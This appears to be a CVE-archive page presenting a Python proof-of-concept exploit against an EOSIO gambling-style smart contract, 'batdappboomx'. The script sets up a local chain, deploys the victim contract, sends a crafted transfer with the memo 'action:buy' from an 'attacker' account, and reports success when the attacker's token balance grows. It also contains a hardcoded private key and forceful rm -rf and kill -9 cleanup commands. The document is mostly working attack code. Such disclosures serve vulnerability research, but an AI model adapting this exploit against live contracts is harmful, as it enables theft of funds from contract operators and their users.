4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/python

import os
import commands
import time

PUBLIC_KEY = "EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV"


def executeCommand(cmd):
    r, o = commands.getstatusoutput(cmd)
    return r, o


def getCurrency(account, permission):
    _, res = executeCommand("cleos get currency balance {} {} EOS".format(permission, account))
    tmp = res.split(' ')[0]
    return float(tmp) if tmp else 0


def createAccount(name):
    executeCommand("cleos create account eosio {} {}".format(name, PUBLIC_KEY))


def setContract(name, contractAddress, permission):
    executeCommand( "cleos set contract {} {} -p {}".format(name, contractAddress, permission))


def pushAction(contract, action, arguments, permission):    
    return executeCommand("cleos push action {} {} \'{}\' -p {}".format(contract, action, arguments, permission))


def addCodePermission(name):
    executeCommand("cleos set account permission {} active --add-code".format(name))


def init():
    os.system('keosd --max-body-size 100000000 &')
    os.system("rm -rf .local/share/eosio/ /root/eosio-wallet/")

    os.system("cleos wallet create -f /root/passwd")
    os.system('cat ~/passwd | cleos wallet unlock')
    os.system("cleos wallet import --private-key 5KQwrPbwdL6PhXujxW37FSSQZ1JiwsST4cqQzDeyXtP79zkvFD3")

    os.system('nodeos -e -p eosio\
                --plugin eosio::chain_api_plugin \
                --plugin eosio::http_plugin \
                --plugin eosio::history_plugin \
                --plugin eosio::history_api_plugin\
                --access-control-allow-origin=\'*\' \
                --contracts-console \
                --http-validate-host=false \
                --verbose-http-errors \
                --max-transaction-time=1000 \
                --max-body-size=102400000 \
                --genesis-json genesis.json \
                >> nodeos.log 2>&1 &')
    time.sleep(2)

    # eosio.token
    createAccount('eosio.token')
    setContract('eosio.token', "/root/eosio.token/", 'eosio.token@active')
    pushAction('eosio.token', 'create', '["eosio","20000000000000.0000 EOS"]', 'eosio.token@active')
    pushAction('eosio.token', 'issue', '["eosio", "20000000000000.0000 EOS",""]', 'eosio@active')

    # any user
    createAccount('attacker')
    addCodePermission('attacker')
    pushAction('eosio.token', 'transfer', '["eosio","attacker","10000000.0000 EOS",""]', 'eosio@active')

if __name__ == "__main__":
    init()
    
    # deploy the victim
    createAccount("batdappboomx")
    addCodePermission("batdappboomx")
    setContract("batdappboomx", "/root/batdappboomx/", "batdappboomx@active")
    pushAction('eosio.token', 'transfer', '[ "eosio", "batdappboomx","100.0000 EOS","initing"]', 'eosio@active')

    before_victim = getCurrency('batdappboomx', 'eosio.token')
    before_attacker = getCurrency("attacker", 'eosio.token')

    # exploit
    cmd = "cleos push action batdappboomx transfer \'{\"from\":\"attacker\", \"to\":\"batdappboomx\", \"quantity\":\"100.0000 EOS\", \"memo\":\"action:buy\"}\' -p attacker@active"
    executeCommand(cmd)

    after_victim = getCurrency('batdappboomx', 'eosio.token')
    after_attacker = getCurrency("attacker", 'eosio.token')
    
    # check the balance
    print "[+] victim's balance: {:.2f} -> {:.2f}".format(before_victim, after_victim)
    print "[+] attacker's balance: {:.2f} {:.2f}\n".format(before_attacker, after_attacker)
    if after_attacker > before_attacker:
        print "[+] Attacked successfully. Got more cryptocurrency."
    else:
        print "[-] Fail."

    # clean
    os.system("ps -ef | grep nodeos | grep -v grep | awk '{print $2}' | xargs kill -9")
    os.system("ps -ef | grep keosd | grep -v grep | awk '{print $2}' | xargs kill -9")